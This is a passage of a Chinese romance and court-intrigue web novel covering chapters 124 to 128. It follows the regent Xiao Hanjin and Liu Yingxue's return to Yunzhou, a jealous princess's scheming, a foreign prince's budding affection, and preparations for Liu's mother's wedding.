绿风很快取来糕点,看着小姐欢喜的模样,萧寒瑾眼中尽是温柔。月光下,两人的身影渐渐重合,仿佛这一刻,世间只剩下他们二人。 萧寒瑾望着怀中的人儿,眸光温柔。她正专注地吃着糕点,一点一点,细嚼慢咽,像只贪吃的小松鼠。柔和的月光下,少女的侧脸格外动人,连嘴角沾着的一点点糕点碎屑都显得可爱。 “绿风。”萧寒瑾淡淡开口,声音中带着不容置疑的威严。 “属下在。”绿风立刻上前一步。 “处理干净,查清主使。”萧寒瑾目光微冷,“另外,把青云国的幽冥阁,连根拔起。” 绿风应声而去。他早就料到会有这一天。之前王爷对这些事情毫不在意,幽冥阁才敢在青云国如此嚣张。但现在不同了,他们惹到了不该惹的人。 寒风呼啸而过,柳映雪不由得缩了缩脖子。萧寒瑾立即察觉,将她往怀里又拢了拢,宽大的披风将两人严实地裹住。 “雪儿。”萧寒瑾轻声唤道,“不急着赶路了,我们走大道,找个客栈歇息。” 柳映雪眼睛一亮,连忙点头:“好啊!”她将剩下的糕点小心收好,脸上露出欣喜的笑容,“赶路确实有些累了。” 绿风很快牵来王爷的玉马流星。这匹通体漆黑的骏马昂首挺胸,四蹄修长有力,正是难得一见的千里马。萧寒瑾先将柳映雪抱上马背,随后轻松翻身上马。 连秀看着前方的两人,不禁莞尔。谁能想到,这位温柔体贴的男子,竟是那位权倾朝野的摄政王。她赶紧收拾好东西,骑马跟上。 月色朦胧,树影婆娑。一行人沿着官道缓缓前行。萧寒瑾将怀中的人又往里拢了拢,生怕她受了寒。 “萧寒瑾,你的马太快了,连秀都快跟不上了。”柳映雪回头张望,语气中带着关切。 “好,我让它慢些。”萧寒瑾轻轻拉了拉缰绳,放慢速度。 “对了,你怎么现在才追上我?”柳映雪忽然想起这个问题。 “我一直走的大道,直到暗卫告知你走小路,才转道寻你。”萧寒瑾解释道,“若是早知道你选了这条路,我就能更早找到你了。” 柳映雪恍然大悟:“我本来打算走大路的,但怕遇到麻烦耽误行程,才选了小路。谁知道反而遇上了幽冥阁的人。” “以后不用担心这些。”萧寒瑾语气坚定,“有我在。” 柳映雪心头一暖,轻轻“嗯”了一声。夜色中,她的耳尖悄悄红了。 “雪儿,我府上还有一匹良驹,回去后送你。”萧寒瑾忽然说道。 “和流星一样的千里马?”柳映雪眼睛一亮。 “是。” “那我得好好驯服它才行。”柳映雪兴致勃勃地说道。 萧寒瑾眼中含笑:“嗯。” 远处隐约可见一座城镇的轮廓,灯火点点,在夜色中格外温暖。柳映雪打了个哈欠,不知不觉间有些困倦。萧寒瑾见状,立即调整姿势,让她能靠得更舒服些。 玉华四方馆中。 司微澜听完青珑的禀报,唇角勾起一抹得意的笑。幽冥阁的人已经追了一天一夜,想必那位柳大小姐已经命丧黄泉了吧。她走到铜镜前,仔细端详着自己的容貌。 “青珑,明日准备昆仑玉莲,本公主要亲自送给摄政王。”司微澜一边整理发髻,一边吩咐道。 “是,公主。”青珑恭敬应道。 “还有,把那件最美的襦裙取来。”司微澜眼中闪着期待的光芒,“明日觐见,本公主定要让摄政王刮目相看。” 她走到窗前,望着远处的王府方向。只要除掉那个柳映雪,摄政王妃的位置就非她莫属。 城郊一座规模不小的客栈前,萧寒瑾一行人停下。店小二连忙迎了出来,看到这气派的一行人,立刻满脸堆笑。 “几位贵客里面请,小店上好的客房还有几间。” 萧寒瑾抱着已经睡着的柳映雪下马,吩咐道:“准备三间上房,再备些热水和夜宵。” “是是是,客官稍等。”店小二连连点头。 连秀跟在后面,看着萧寒瑾小心翼翼地抱着柳映雪上楼,生怕惊醒了她。她不禁感慨,这位威名赫赫的摄政王,在对待自己喜欢的人时,竟是如此温柔。 客栈内外灯火通明,驱散了夜的寒意。远处,一队黑衣人悄无声息地离开,消失在夜色中。他们要为主子清理那些胆敢觊觎王妃之位的蠢货。 凤栖楼内。 东玉琳站在窗前,望着院中飘落的花瓣,眉头微蹙。她本该在宫中安心等待和亲的日子,却偏偏跟着玉太子四处游玩,这要是传到父皇耳中,怕是又要挨骂了。 “又在发呆?”熟悉的声音从身后传来,带着几分调侃。 东玉琳转身,正对上玉太子含笑的眸子。他倚在门框上,手中的玉扇轻轻摇晃,一副悠然自得的模样。 “太子殿下怎么来了?”她下意识地后退一步,与他拉开距离。 “怎么,本太子就不能来看看你?”玉太子迈步走进屋内,目光在她脸上逡巡,“这几日倒是晒黑了些,更丑了。” “你......”东玉琳气得跺脚,“你才丑!我要真那么丑,你怎么还让我当丫鬟?” 玉太子看着她气鼓鼓的样子,眼中闪着笑意,“当个丫鬟还是勉强过得去的。” “哼!”东玉琳转过身去,不想理会这个爱捉弄人的太子。她低头整理衣袖,手指无意识地摩挲着袖口的刺绣。 第一百二十四章 暗生情愫 玉七端着餐盘走进来,将饭菜摆上桌案。热气腾腾的饭菜散发出诱人的香气,东玉琳的肚子不争气地叫了一声。 “看来某人是饿了。”玉太子轻笑,“过来用膳吧。” 东玉琳红着脸坐下,专心对付碗中的饭菜。玉太子看着她吃饭的样子,想到她不久后就要嫁给青云国的皇子,心中莫名涌上一股烦躁。这种感觉让他很不习惯,索性也不去想,低头用膳。 玉七站在一旁,看着这一幕暗自叹气。太子爷从来没对哪个姑娘这般上心过,偏偏看上了个要和亲的公主。这要是真把人给拐跑了,青云国和南安国怕是要闹翻天。 夜色渐深,院中的花香更浓了。东玉琳躺在床上,翻来覆去睡不着。明天就要进宫面圣,她心里七上八下的,总觉得不安。 次日清晨,玉华四方馆门前热闹非凡。 南安国的使臣和北陵国的使臣都站在门口张望,等得焦急万分。午后就要进宫面圣,再不来可就要误了大事。 “这六公主也太不像话了!”南安国使臣气得直跺脚,脸上的褶子都挤到了一起,“明明不该她来和亲,偏要抢着来,现在又半路跑了,害得我们一路提心吊胆。昨天不是说今天会回来吗?” 护送侍卫擦了擦额头的汗,小心劝道:“大人息怒,六公主年轻贪玩,再等等吧。” “贪玩?”使臣冷笑一声,“简直是目无纲常!成何体统!” 北陵国使臣倒是一脸淡定。他太了解自家太子的性子,没到最后一刻,绝不会出现。况且这几日,太子对南安六公主的态度,他也看在眼里。 不多时,两辆马车缓缓驶来,车轮碾过地面发出轻微的声响。 玉太子从第一辆马车上下来,北陵国使臣惊喜万分,连忙上前行礼:“微臣见过太子!” “尤大人辛苦了。”玉太子难得客气地回应。 “太子越发稳重了,皇上知道必定欣慰。”尤大人笑得合不拢嘴。 玉七在一旁憋笑。要不是南安公主求太子送她过来,这会儿诸生爷怕是还在城里闲逛呢。谁让太子爷这些日子对南安公主格外上心呢? 东玉琳从第二辆马车下来,裙摆轻扬,露出绣着祥云纹的绣鞋。南安国使臣立刻迎上前,劈头盖脸就是一顿训斥。 “六公主,你真是太不懂事了!一路上乱跑,若出了事怎么办?现在马上要进宫面圣,你才来,这要是误了时辰,你担待得起吗?” 东玉琳咬着下唇,心中也憋着一股气。她本就不愿意来和亲,现在还要被这样训斥。 “既然大人这么担心,不如现在就带我回南安国,我亲自向父皇请罪。”她抬起头,眼中闪着倔强。 使臣冷笑,“六公主说笑了,你是来联姻的吧,怎么可能回去?” “那不就得了,既然回不去,丢不丢脸又与我何干?”东玉琳冷冷道,声音里带着几分讥讽。 这段日子跟在玉太子身边,她学会了很多。从前那个唯唯诺诺的六公主已经不在了。她不再是任人摆布的棋子,也学会了反抗。 玉太子看着这一幕,嘴角微扬。这丫头总算有点脾气了,不再是当初那个动不动就掉眼泪的小姑娘。 他摇着扇子走到南安国使臣面前,眼中带着几分戏谑:“本太子还是头一次见,做臣子的敢这样训斥主子。南安国的臣子都是这般无礼吗?” “玉太子慎言!”使臣涨红了脸,额头上的青筋都凸了出来,“这是我国内务,六公主年幼不懂事,本官不过是提点几句。” “哦?你们南安国连个教导公主的嬷嬷都请不起吗?要不要本太子送几个过去?”玉太子的语气越发轻佻。 使臣气得浑身发抖,“玉太子,你这是何意?” 北陵国使臣赶紧打圆场,“南安国的使者请见谅,我们太子就是性子直了些。” 东玉琳见状赶紧说道:“本公主先去休息,时辰到了再叫我便是。”她不想因为自己的事让两国交恶。 临走前,她向玉太子投去一个感激的眼神。虽然感谢他为自己出头,但也不能因此让事态变得更糟。 “哟,这是怎么了?”一道慵懒的声音传来,西幽国二皇子司徽风踱步走来。他穿着一身月白色锦袍,腰间挂着一块温润的玉佩,整个人透着几分贵气。 众人见礼,场面总算缓和下来。只有南安国使臣还在生闷气,脸色阴沉得能滴出水来。 司徽风看了看东玉琳离去的背影,又瞥了眼玉太子,眼中闪着了然。这位北陵太子,怕是对南安六公主动了心思啊。 东玉琳回到房间,靠在门上长出一口气。她摸了摸发烫的脸颊,心跳还在加速。刚才玉太子为她出头的样子,让她心里暖暖的。 可是,她终究是要嫁给青云国皇子的。这份温暖,大概只能留在记忆里了。 玉太子站在院中,望着东玉琳房间的方向,眼中闪过复杂的情绪。他从未想过,自己会对一个要和亲的公主如此上心。 这种感觉很陌生,却又让他无法抗拒。 午后的阳光透过云层洒落,宫中马车缓缓驶来,准备迎接各国使臣面圣。空气中弥漫着一股若有若无的檀香,与庭院中盛开的海棠花香交织在一起。 司微澜站在镜前,细细打量着自己今日的装扮。铜镜中倒映出的容颜明艳动人,眉目如画。她轻轻抬手,指尖拂过额前的碎发。 “小姐真是越发好看了。”丫鬟巧玉一边为她整理裙摆,一边笑着说道。 粉色水仙散花绿叶裙在光线下泛着柔和的光泽,层层叠叠的裙摆随着她的动作轻轻摆动。浅紫色披风上绣着栩栩如生的蝴蝶,金线勾勒出的翅膀仿佛下一刻就要展翅高飞。 她轻轻抚过头上的碧玉玲珑簪,银丝串珠的流苏随着她的动作轻轻晃动,发出清脆的碰撞声。 “今日定要让摄政王记住我。”司微澜在心中暗暗下定决心。 “小姐,时辰不早了。”巧玉提醒道。 司微澜最后看了一眼镜中的自己,转身向外走去。裙摆拂过地面,发出轻微的沙沙声。 第一百二十五章 宫宴 二皇子司徽风正在廊下等候,看到妹妹如此隆重的打扮,眉头不自觉地皱了起来。他曾见过柳大小姐的颜值,不得不承认,皇妹与之相比还是略逊一筹。那种出尘脱俗的气质,不是靠精心打扮就能比拟的。 “皇妹今日这般打扮,是为了谁?”司徽风意有所指地问道。 司微澜微微一笑,并未作答。她知道二皇兄一向疼爱自己,但有些事情,还是不说为好。 玉太子从远处走来,目光在司微澜身上淡淡扫过,便收回了视线。在他看来,再美艳的容貌也比不上那人出尘的气质。他脚步未停,径直走向前方的马车。 东玉琳刻意与司微澜保持着距离,她早已听闻这位西幽公主心狠手辣,还是少惹为妙。她低着头,快步走过司微澜身边,裙摆带起一阵风。 六皇子司云熠依旧一副病弱模样,脸色苍白,眼下一片青黑。但内心却激动不已。柳大小姐开的药方确实神奇,他的身体状况比从前好了许多。不过在完全康复之前,这副病态还得继续装下去。 “六皇兄,身子可好些了?”司微澜关切地问道。 司云熠虚弱地笑了笑:“多谢皇妹关心,已经好多了。” 马车缓缓驶向皇宫,车轮碾过青石板路面,发出规律的声响。司微澜的心跳也随之加快,她悄悄攥紧了手中的帕子。 朝阳殿内,文武百官分列两旁,气氛庄重肃穆。三皇子与四皇子立于最前方,低声交谈着什么。殿内议论纷纷,都在谈论此次各国使臣到访之事。 “听说西幽这次派来的使臣很不简单。” “可不是,据说是当朝丞相的亲信。” “这次狩猎大会怕是没那么简单啊。” 窃窃私语声在殿内回荡,直到司公公的声音响起:“皇上驾到!” 众人立刻跪地高呼:“皇上万岁万岁万万岁!” 皇上一身明黄龙袍,神色威严地坐上龙椅。他的目光在摄政王空着的位置上停留片刻。殿内的气氛瞬间凝重起来。 “诸位爱卿平身,摄政王已递折子告假。”皇上淡淡开口,语气中带着几分不悦,“诸位爱卿不必去打扰了。” 司微澜闻言,心头一紧。她抬头望向摄政王的位置,空荡荡的座位让她心中涌起失落。她知道,摄政王一向身体康健,这次告假必有蹊跷。 皇上将这一切尽收眼底,目光在众人脸上扫过。三皇子看向司微澜的眼神已不似从前热切。自从知道她对九皇叔有意,他心中便已生出芥蒂。若非还有用处,他都懒得多看一眼。 “今日召各位前来,是为了商议狩猎大会之事。”皇上开口道,“各国使臣已经到达京城,朕要你们好生招待,不得怠慢。” 一番客套寒暄后,大臣们开始汇报准备情况。司微澜心不在焉,满脑子都在想着摄政王的身体状况。她的手指无意识地绞着手帕,直到指节发白。 退朝后,她立刻拉住正要离开的司徽风:“二皇兄,陪我去摄政王府可好?” “皇妹,你太冲动了。”司徽风压低声音,神色严肃,“这里是皇宫,有多少双眼睛在注视着。你这样贸然前去,只怕会惹来非议。” 司微澜这才回过神来,强迫自己冷静下来。她松开抓着司徽风的手,深吸一口气。 就在这时,玉太子突然出现在他们身后,手中折扇轻摇:“西幽公主这是要去哪?”他的声音带着几分玩味。 “只是想去城中走走。”司微澜强挤出一抹笑容,试图掩饰内心的慌乱。 玉太子轻轻摇了摇头,折扇“啪”的一声合上:“奉劝公主一句,有些东西不是你能肖想的。”说完,他转身离去,红色衣袍在阳光下分外刺眼。 司微澜看着他的背影,眼中闪着阴霾。既然大家都知道了她的心思,那也不必再遮掩。她转向司徽风,语气坚定:“二皇兄,陪我去摄政王府吧。” 司徽风看着妹妹倔强的眼神,终究还是叹了口气,点头答应。他知道,一旦妹妹认定的事情,就很难改变主意。 “走吧。”他轻声说道,“不过要快去快回。” 司微澜展颜一笑,跟在二皇兄身后向宫门走去。阳光洒在她的身上,为她镀上一层金色的光晕。 司徽风与司微澜的马车停在摄政王府前。青石板路上落了一层薄霜,寒意渗人。 司微澜下车时,裙摆轻扬,心跳如擂鼓。她仰望着气派的府邸,朱红色的大门上雕刻着精美的纹路,门柱上的石狮威严肃穆。她不由想象着那位风姿卓绝的摄政王,指尖微微颤抖。 “这可是我精心准备的昆仑玉莲,一定能让王爷刮目相看。”她低声喃喃,手中紧握着精致的锦盒。 司平上前询问守门侍卫,“敢问王爷可在府中?” “王爷有点不舒服,暂不见客。”侍卫面无表情,语气冷淡。寒风吹过,他的衣袍猎猎作响。 司微澜按捺不住,莲步轻移上前。她今日特意穿了一袭淡粉色的锦缎长裙,衬得肌肤如雪。“本公主特意带来昆仑玉莲,还请通报。” 她语气温柔,眼波流转,却见侍卫面色不改。冷风吹得她鬓角发丝轻扬,却无法撼动对方分毫。 就在此时,府门大开,绿竹大步而出。他身着墨色长袍,面容清冷。“二皇子、公主,王爷身体抱恙,暂不便见客。” 司微澜眼前一亮,急忙上前半步:“这雪莲对王爷大有裨益,还请通传。”她举起手中锦盒,眼中带着期待。 “多谢公主好意。”绿竹淡淡道,目光落在锦盒上,“只是神医说过,雪莲反会加重王爷病情。” 司微澜脸色微变,手中锦盒差点掉落。寒风吹过,她的裙摆轻轻摆动,像是在无声地嘲笑她的自作多情。 司徽风见状,连忙拉住妹妹:“既如此,我们改日再来。”他转身搀扶司微澜上马车,生怕她再做出什么失态之事。 第一百二十六章 抵达云州 马车内,司微澜气得直跺脚,眼眶泛红:“二皇兄,他们太过分了!”她将锦盒狠狠摔在一旁。 “皇妹,你难道看不出来吗?”司徽风叹息,“他们是在拒绝你。” “不可能!摄政王一定会喜欢我的。”司微澜倔强地说,手指紧紧攥着帕子。 司徽风无奈摇头,看着窗外飘落的梨花,不再多言。 此时的萧寒瑾,正与柳映雪漫步在云州小镇。晓日的阳光温柔地洒在青石板路上,街边的杨柳轻轻摇曳。 柳映雪拉着萧寒瑾的手,兴致勃勃地看着街边摊贩。各色小吃飘着诱人的香气,街边的铺子里传来叮叮当当的打铁声。 “看,这个糖人真好看!”柳映雪停在一个糖人摊前,眼睛亮晶晶的。老艺人手中的勺子翻飞,很快做出两个精致的小人。 “这两个小人真像我们!”柳映雪举着糖人,笑靥如花。阳光下,她的笑容比糖人还要甜美。 萧寒瑾目光温柔,小心护着她不被行人冲撞。他看着她欢喜的模样,心中涌起一股暖流。 “那边还有卖首饰的。”萧寒瑾指着不远处一个摊位。柳映雪眼前一亮,拉着他快步走去。 摊主是个老婆婆,面前摆着各式各样的发钗、手串。柳映雪挑了许久,选中一支白玉簪子。 “这支簪子配你再好不过。”萧寒瑾接过簪子,轻轻为她戴上。簪子上的流苏随风轻摆,衬得她更添几分灵动。 两人又逛了许多铺子,买了不少小玩意。柳映雪像个孩子般,对什么都充满好奇。 回到马车上,柳映雪将买来的小玩意一一摆在小几上。额头沁出细汗,却依然兴致盎然地把玩。 萧寒瑾取出手帕,轻轻为她拭去汗珠。“累了吧?”他柔声问道。 “不累,今天真开心。”柳映雪笑着说,眼中闪着光。 “喝口茶。”他递上茶盏,茶香袅袅。 柳映雪接过,明媚一笑。她小口啜饮,看着窗外掠过的景色。 夕阳西下,她掀开车帘远眺。金色的余晖洒在她脸上,美得不可方物。发间的白玉簪闪着柔和的光。 “萧寒瑾,你送我到云州就要回去了吗?”她轻声问。 “我会陪你一起回京都城。”他柔声答道,目光温柔地看着她。 “府里不会有事吗?”柳映雪转头看他,眼中带着担忧。 “有绿竹和东方辉在,不必担心。”萧寒瑾握住她的手,指尖传来温暖。 柳映雪望着夕阳,嘴角微扬。她从未想过,有朝一日会遇到这样一个人。阳光透过车窗洒在两人身上,将这一刻定格成永恒。 萧寒瑾看着她的侧脸,心中涌起无限柔情。从前的孤寂仿佛都在这一刻烟消云散。他轻轻握紧她的手,仿佛要将这份温暖永远留住。 绿风和连秀跟在后面的马车上,看着前方郎才女貌的一对璧人。 “小姐和王爷真是天造地设的一对。”连秀感叹道。 绿风点点头,眼中带着笑意:“是啊,从未见过王爷对谁这般温柔。” 夕阳西下,马车缓缓驶入云州城。 柳映雪掀开车帘,望着熟悉又陌生的街景。青石板路上行人如织,街边小贩吆喝声此起彼伏,空气中飘散着各色小吃的香气。这一切都让她恍若隔世,仿佛回到了从前那段无忧无虑的时光。 “看什么看得这么入神?”萧寒瑾注意到她略显失神的模样,声音轻柔地问道。 柳映雪收回目光,唇角微微上扬:“只是觉得,一切都没变,又好像都变了。” 萧寒瑾伸手轻轻拂去她额前的碎发,动作温柔:“是你变了。” 这句话让柳映雪心头一颤。 马车在朱家门前停下,门楣上“朱府”两个大字熠熠生辉。萧寒瑾先行下车,转身伸出手。阳光透过他的指缝洒落,在地上投下斑驳的影子。 柳映雪看着那修长的手指迟疑片刻,最终还是轻轻搭了上去。他的手掌温暖干燥,让她莫名安心。 “雪儿!”熟悉的声音传来,朱雅芸早已在府门前等候。看到女儿的身影,她眼眶瞬间湿润,声音都有些颤抖。 “娘亲!”柳映雪再也控制不住内心的思念,顾不得礼数,直接扑进母亲怀中。 熟悉的体温,熟悉的气息,让她眼眶发热。这段时间的担惊受怕、委屈难过,在这一刻全都化作泪水涌出。 “娘亲,我好想你。”她将脸埋在母亲肩头,声音带着哽咽。 朱雅芸轻抚着女儿的发丝,手掌微微发颤:“傻孩子,娘亲也想你。这些日子,可有受委屈?” 柳映雪摇摇头,抬起头来露出笑容:“没有,摄政王待我很好。” 司马澄站在一旁,看着这对母女相拥的画面,眼中满是温柔。 萧寒瑾向前行礼,姿态从容优雅:“见过朱夫人,司马叔父。” 朱雅芸这才注意到王爷的存在,连忙要行大礼:“摄政王...” “不必多礼。”萧寒瑾抬手制止,声音温和,“唤我九公子即可。” 司马澄与朱雅芸对视一眼,心领神会:“九公子。” 萧寒瑾目光落在柳映雪身上,声音轻柔:“我在城中有处宅院,若有事,可让绿风带路来寻我。” 柳映雪心中不舍,却也明白他身份特殊,不便久留:“你要小心。” 萧寒瑾唇角微扬,目光温柔:“放心。” 待马车远去,柳映雪又黏在母亲身边,撒娇道:“娘亲,这些日子可想死女儿了。” “那叔父呢?就不想叔父吗?”司马澄故作不悦地问道。 柳映雪眨眨眼,俏皮一笑:“当然想,再过几日叔父就是我爹爹了,我也是有爹疼的人了。” 这句话让朱雅芸眼眶再次泛红,声音哽咽:“雪儿,以前委屈你了。” “娘亲别这样说。”柳映雪连忙安慰,“往事已矣,现在我们该想着以后的好日子。” 司马澄连忙掏出手帕为朱雅芸擦泪:“雅芸,不许哭,要开心。今日是好日子。” 柳映雪看着二人的互动,嘴角勾起调皮的笑:“娘亲,你们继续,我早已适应了。” “调皮。”朱雅芸轻点女儿额头,眼中满是宠溺。 第一百二十七章 拜见长辈 “雪儿,你祖父祖母知道你今日回来,一直念叨着要见你,要不要现在去拜见?”司马澄提议道。 柳映雪眼睛一亮:“好啊,我也想见见祖父祖母。” “要不要先休息一下?”朱雅芸有些担心地看着女儿略显疲惫的面容。 “娘亲,我不累的,让我先去见见二老吧。”柳映雪坚持道。 见她执意如此,朱雅芸只好让丫鬟带她去梳洗。 柳映雪站在院中,微风拂过,带来几分清凉。她望着眼前这座典雅的庭院,心中五味杂陈。曾经离开的云州,如今重回故土,一切都显得既熟悉又陌生。 小丫正在院中收拾物件,见到柳映雪,立刻露出朴实的笑容。她的动作利落,显然这段时间的训练没有白费。 “冷头领最近可有教你武功?”柳映雪轻声问道,目光落在小丫略显粗糙的手上。那双手上有着细小的茧子,是练武留下的痕迹。 小丫连忙放下手中的活计,脸上泛起红晕:“回小姐的话,冷头领的确教了奴婢一些。只是...”她低下头,声音中带着几分愧疚,“奴婢的资质确实愚钝,很多动作都要练习好多遍才能记住。” “练武本就不是一朝一夕的事。”柳映雪安慰道,目光柔和,“能坚持下来已经很不容易了。” 小丫抬起头,眼中闪过坚定:“小姐放心,奴婢一定会继续努力。冷头领说过,只要肯下功夫,就没有学不会的功夫。”她握了握拳头,“奴婢要保护好夫人!” 看着这个忠心的丫鬟,柳映雪心中一暖。 “你有这份心意就很好。”她轻轻拍了拍小丫的肩膀,“不过也要注意休息,别太勉强自己。” 小丫连连点头:“小姐说得是,冷头领也总提醒奴婢要劳逸结合。”她顿了顿,“对了,夫人让奴婢带小姐去看看准备的房间。” 柳映雪跟着小丫穿过回廊,来到一处幽静的院落。推开房门,清新的梅香扑面而来。 屋内陈设简单却不失雅致,窗边放着一张梨木书案,上面摆着文房四玉。靠窗的位置还悬挂着一幅山水画,笔触淡雅,意境悠远。 “这些都是夫人亲自布置的。”小丫有些兴奋地介绍道,“夫人说小姐喜欢读书,特意让人找来了不少书籍。”她指着角落里的书架,“都在那里。” 柳映雪走近书架,指尖轻轻抚过书脊。这一排排典籍,无不彰显着母亲的用心。 “小丫,你带着连秀下去休息吧。”她转身对还在整理的丫鬟说道,“这里我自己来就好。” 待丫鬟们退下后,柳映雪开始梳洗更衣。她刚换上一袭淡青色襦裙,正要梳头,就听到门外传来脚步声。 “雪儿。”朱雅芸的声音从门外传来。 “娘亲。”柳映雪连忙开门。 朱雅芸今日穿着一件藕荷色的长裙,发间只簪了一支玉簪,素雅中透着几分贵气。她拉住女儿的手,目光中带着几分怀念:“跟娘来。” “去哪里?”柳映雪有些疑惑。 “带你去给外祖父外祖母上柱香。”朱雅芸眼中闪着黯然,“你小时候跟着我离开云州,他们二老真是舍不得。如今回来了,也该让他们瞧瞧你如今的模样。” 祠堂内香火缭绕,檀香的气息萦绕在鼻尖。母女二人跪在蒲团上,望着高悬的牌位。 朱雅芸的泪水无声滑落:“爹,娘,女儿不孝,这么多年才带雪儿来看你们。”她声音哽咽,“雪儿很懂事,明年就要成亲了。望你们在天之灵,保佑她平安顺遂。” “外祖父,外祖母。”柳映雪轻声开口,“雪儿已经长大了,会照顾好娘亲,你们不必挂念。” 见母亲跪得久了,柳映雪连忙搀扶她起身。朱雅芸的膝盖已经有些发红,显然方才跪得太久。 “娘亲别难过。”柳映雪轻声安慰,“外祖父外祖母一定希望看到您幸福快乐的样子。” 朱雅芸擦了擦眼泪,露出一抹苦涩的笑:“是啊,多亏了你司马叔父这些年的暗中照应。若不是他,我和你怕是早就...”她没有说完,但柳映雪明白她的意思。 “这就是缘分。”柳映雪握紧母亲的手,“外祖父外祖母在天之灵,一定也希望您能与叔父白头偕老。” 上完香后,司马澄已在前厅等候。他今日一身玄色长袍,衣襟上绣着暗纹,整个人看起来格外稳重。 “阿澄,你带雪儿去拜见父母吧。”朱雅芸说道,“他们一直盼着见雪儿一面。” 马车缓缓驶出府门,柳映雪望着窗外飞逝的景色,心中思绪万千。云州的一切都与记忆中有些不同,街道更宽了,店铺更多了,行人也比从前熙攘。 司空府前厅内,老爷子和老太君正焦急地等待着。老爷子不时看向门口,显得有些坐立不安。 “这阿澄怎么还不来?”老爷子皱着眉头,语气中带着几分不耐烦。 “来了来了。”门外传来脚步声,丫鬟的声音随之响起,“老爷带着小小姐到了。” 柳映雪款步而入,对着二老深深一礼:“祖父,祖母。”她的声音清脆悦耳,举止端庄大方。 老太君连忙上前拉住她的手,仔细打量着这个未来的孙女。只见柳映雪肤若凝脂,眉目如画,举手投足间尽显大家闺秀的气度。 “好俊的孩子。”老太君笑得合不拢嘴,“比你外祖母年轻时还要标致。” 老爷子也笑呵呵地让她入座,吩咐丫鬟上茶点。他打量着柳映雪,目光中满是赞许:“阿澄有福气,能娶到娘,有你这样的好女儿。” 看着两位和蔼可亲的长辈,柳映雪心中暖意融融。她知道,从今以后,这里就是她第二个家了。 茶香袅袅,话语温馨。午后的阳光透过雕花窗棂洒落进来,将这一刻定格成最美好的画面。 和司马家两位老人谈了半晌,司马澄借口有事带着柳映雪来到书房。 第一百二十八章 书房谈话 柳映雪跟着司马澄步入书房,檀香袅袅,窗外斜阳将她的影子拉得很长。她的目光不经意扫过书房的陈设,一切都那么熟悉,却又带着几分说不出的陌生感。 她总觉得叔父今日叫她来,必有要事相商。这种预感在踏入书房的那一刻愈发强烈。 司马澄示意她坐下,目光中带着几分审视。他的手指轻轻敲击着桌面,似乎在思考如何开口。书房里的空气仿佛凝固了一般,连时间都走得格外缓慢。 “雪儿,”司马澄终于打破沉默,声音温和却带着不容忽视的威严,“那晚保护你的人,你都见过了吧?” 柳映雪微微坐直身子,“是的叔父,包括訾羽在内,我都见过了。”她的手指不自觉地绞在一起,心跳微微加快。 司马澄起身踱步到窗前,阳光透过窗棂在他脸上投下斑驳的光影。他沉吟片刻,缓缓道:“这些年,叔父培养了一批人手。最初规模不大,实力也不强,直到訾羽加入后才渐成气候。” “那些人身手不凡,配合默契。”柳映雪回想起那晚的情形,眼中闪着惊叹,“叔父,莫非是...” 司马澄接过她的话,转身看向她,“不错,正是杀手组织。” 柳映雪眼睛一亮,心中涌起一阵激动。她早就猜到叔父暗中必有势力,却没想到会是这样一支力量。 司马澄看到她兴奋的神色,紧绷的肩膀微微放松。他走到书架前,手指在某处轻轻一按,一个暗格无声滑开。从里面取出一枚令牌,他的动作轻柔而郑重。 “叔父知道你武功不弱,但终究是一人之力。”他将令牌捧在手心,“这令牌乃是主令,持有它便可调动我手下所有人手。” 阳光下,令牌泛着淡淡的金属光泽。柳映雪看着那枚令牌,心中一暖。叔父这是要把自己的保命底牌交给她。 她站起身,轻轻推回司马澄递来的令牌:“叔父,我日后自会建立势力。这主令还是您留着吧,给我一枚可调动京都城杀手的令牌便够了。” 司马澄眉头微皱:“雪儿...” “叔父。”柳映雪打断他的话,语气坚定,“叔父和娘亲更需要这份力量。我一人在京城,有城中势力相助已足矣。” 书房里一时陷入沉默。窗外传来几声鸟鸣,打破了这份沉寂。 见她意志坚决,司马澄最终叹了口气,从隐秘的空间里抽出一枚令牌。这枚令牌较小,做工却更为精致。 柳映雪接过令牌,指尖传来微凉的触感。她仔细端详,只见一面刻着“副堂主”,另一面是“无踪”二字。 “无踪”二字令她眼前一亮。来去匆匆,好一个杀手组织的名字。她的手指轻轻摩挲着令牌上的刻字,仿佛能感受到其中蕴含的力量。 “叔父,”她忽然想起什么,“我在路上遇到幽冥阁的人,他们自称第二杀手组织。” 司马澄冷笑一声,眼中闪着不屑:“幽冥阁不过是些为钱卖命的亡命之徒。不过前几日,他们在青云国的势力已被人连根拔起。” 柳映雪暗暗点头。萧寒瑾的暗卫果然了得。她将令牌收入袖中,心中已有计较。 几日后便是朱雅芸大婚之期。 整个府邸都笼罩在喜庆的氛围中。红绸飘扬,喜字贴满了每个角落。下人们来来往往,忙着布置婚礼用的物件。 柳映雪忙着帮娘亲准备婚事,事无巨细都要过问。从嫁衣的款式到喜宴的菜色,从宾客的座次到仪式的流程,她都亲自把关。虽然找了德高望重的族老主持,但她仍想亲力亲为。 婚前一晚,她陪在朱雅芸身边。 烛光摇曳,映照着母女俩的身影。朱雅芸坐在梳妆台前,柳映雪站在她身后,轻轻为她梳理长发。 “雪儿这几日辛苦了。”朱雅芸看着镜中的女儿,轻声说道。她伸手轻抚女儿的发丝,眼中满是疼爱。 “为娘亲做事,女儿高兴还来不及。”柳映雪放下梳子,依偎在母亲怀中。烛光下,母女俩的影子交织在一起。 朱雅芸叹了口气:“本想从简办理,你司马叔父却不许。”她的眼中闪着甜蜜。 “叔父是想给娘亲最好的。”柳映雪笑道,“娘亲值得世间最好的一切。” 朱雅芸搂紧女儿,声音有些哽咽:“后日你就要回京城了,一定要照顾好自己。” “娘亲放心。”柳映雪轻声应道。她能感受到母亲的不舍,却也知道分别在所难免。 她和司马澄都默契地没提柳昌泰的事。娘亲值得一个无忧无虑的新生活,过去的阴影不该在这喜庆的日子里出现。 次日清晨,柳映雪早早起身,亲自为娘亲梳妆。 阳光透过窗纱洒进来,朱雅芸穿上红嫁衣,容光焕发,宛如二八少女。喜服的红色衬得她肌肤如玉,眼中闪烁着幸福的光芒。 “娘亲,若说你是我姐姐,旁人定也信的。”柳映雪一边为母亲簪上凤钗,一边打趣道。 朱雅芸嗔怪地看了女儿一眼:“越发没大没小了。”虽是责备的话,语气中却满是宠溺。 柳映雪笑着为娘亲整理衣裙,心中满是欢喜。从今以后,娘亲终于能过上她应得的幸福生活。 门外传来喜乐声,宾客们陆续抵达。柳映雪最后一次检查娘亲的妆容,确保每个细节都完美无缺。 朱雅芸握住女儿的手:“雪儿,娘亲有你这个女儿,此生无憾了。” 